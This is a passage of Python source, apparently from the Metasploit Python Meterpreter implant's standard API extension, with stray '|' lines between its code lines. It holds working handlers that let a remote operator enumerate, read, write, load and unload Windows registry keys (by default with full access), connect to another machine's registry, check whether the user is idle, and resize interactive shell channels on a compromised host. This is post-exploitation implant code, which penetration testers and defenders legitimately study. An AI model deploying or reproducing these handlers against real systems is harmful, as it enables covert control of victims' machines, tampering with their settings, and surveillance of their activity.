if tries > 3:
|
|
break
|
|
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
|
|
tries += 1
|
|
continue
|
|
elif result == ERROR_NO_MORE_ITEMS:
|
|
result = ERROR_SUCCESS
|
|
break
|
|
elif result != ERROR_SUCCESS:
|
|
break
|
|
tries = 0
|
|
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
|
|
index += 1
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_value(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_enum_value(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_value_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return err, response
|
|
ret = _wreg_enum_value(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_load_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
|
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
|
|
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
|
|
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
|
return result, response
|
|
|
|
def _wreg_close_key(hkey):
|
|
ctypes.windll.advapi32.RegCloseKey(hkey)
|
|
|
|
def _wreg_open_key(request, permission=None):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
root_key_names = {
|
|
winreg.HKEY_CLASSES_ROOT & 0xffffffff: 'HKCR',
|
|
winreg.HKEY_CURRENT_USER & 0xffffffff: 'HKCU',
|
|
winreg.HKEY_LOCAL_MACHINE & 0xffffffff: 'HKLM',
|
|
winreg.HKEY_USERS & 0xffffffff: 'HKU',
|
|
winreg.HKEY_PERFORMANCE_DATA & 0xffffffff: 'HKPD',
|
|
winreg.HKEY_CURRENT_CONFIG & 0xffffffff: 'HKCC'
|
|
}
|
|
root_key_name = root_key_names.get(root_key, 'HK??')
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
debug_print('[*] opening registry key: ' + root_key_name + '\\' + unicode(base_key))
|
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
|
if permission is None:
|
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
|
handle_id = ctypes.c_void_p()
|
|
result = ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id))
|
|
if result != ERROR_SUCCESS:
|
|
return error_result_windows(result), 0
|
|
return ERROR_SUCCESS, handle_id.value
|
|
|
|
def _wreg_query_value(request, response, hkey):
|
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
|
value_type = ctypes.c_uint32()
|
|
value_type.value = 0
|
|
value_data = (ctypes.c_ubyte * 4096)()
|
|
value_data_sz = ctypes.c_uint32()
|
|
value_data_sz.value = ctypes.sizeof(value_data)
|
|
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
|
if result == ERROR_SUCCESS:
|
|
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
|
if value_type.value == winreg.REG_SZ:
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
|
|
elif value_type.value == winreg.REG_DWORD:
|
|
value = value_data[:4]
|
|
value.reverse()
|
|
if sys.version_info[0] < 3:
|
|
value = ''.join(map(chr, value))
|
|
else:
|
|
value = bytes(value)
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
|
else:
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
|
return ERROR_SUCCESS, response
|
|
return error_result_windows(result), response
|
|
|
|
def _wreg_set_value(request, response, hkey):
|
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
|
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
|
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
|
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
|
if result == ERROR_SUCCESS:
|
|
return ERROR_SUCCESS, response
|
|
return error_result_windows(result), response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_check_key_exists(request, response):
|
|
err, hkey = _wreg_open_key(request, permission=winreg.KEY_QUERY_VALUE)
|
|
if err == ERROR_SUCCESS:
|
|
_wreg_close_key(hkey)
|
|
response += tlv_pack(TLV_TYPE_BOOL, True)
|
|
else:
|
|
response += tlv_pack(TLV_TYPE_BOOL, False)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_open_key(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return err, response
|
|
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_open_remote_key(request, response):
|
|
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
result_key = ctypes.c_void_p()
|
|
if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_query_class(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
value_data = (ctypes.c_char * 4096)()
|
|
value_data_sz = ctypes.c_uint32()
|
|
value_data_sz.value = ctypes.sizeof(value_data)
|
|
if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_query_value(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_query_value(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_query_value_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return error_result_windows(err), response
|
|
ret = _wreg_query_value(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_set_value(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_set_value(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_set_value_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return error_result_windows(err), response
|
|
ret = _wreg_set_value(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_unload_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_ui_get_idle_time(request, response):
|
|
GetLastInputInfo = ctypes.windll.user32.GetLastInputInfo
|
|
GetLastInputInfo.argtypes = [ctypes.c_void_p]
|
|
GetLastInputInfo.restype = ctypes.c_int8
|
|
info = LASTINPUTINFO()
|
|
info.cbSize = ctypes.sizeof(LASTINPUTINFO)
|
|
if not GetLastInputInfo(ctypes.byref(info)):
|
|
return error_result_windows(), response
|
|
GetTickCount = ctypes.windll.kernel32.GetTickCount
|
|
GetTickCount.restype = ctypes.c_uint32
|
|
idle_time = (GetTickCount() - info.dwTime) / 1000
|
|
response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_termios and has_fcntl)
|
|
def stdapi_sys_process_set_term_size(request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
rows = packet_get_tlv(request, TLV_TYPE_TERMINAL_ROWS)['value']
|
|
columns = packet_get_tlv(request, TLV_TYPE_TERMINAL_COLUMNS)['value']
|
|
if channel_id in meterpreter.interact_channels:
|
|
proc_h = meterpreter.channels[channel_id].proc_h
|
|
winsize = struct.pack("HHHH", rows, columns, 0, 0)
|
|
fcntl.ioctl(proc_h.stdin, termios.TIOCSWINSZ, winsize)
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|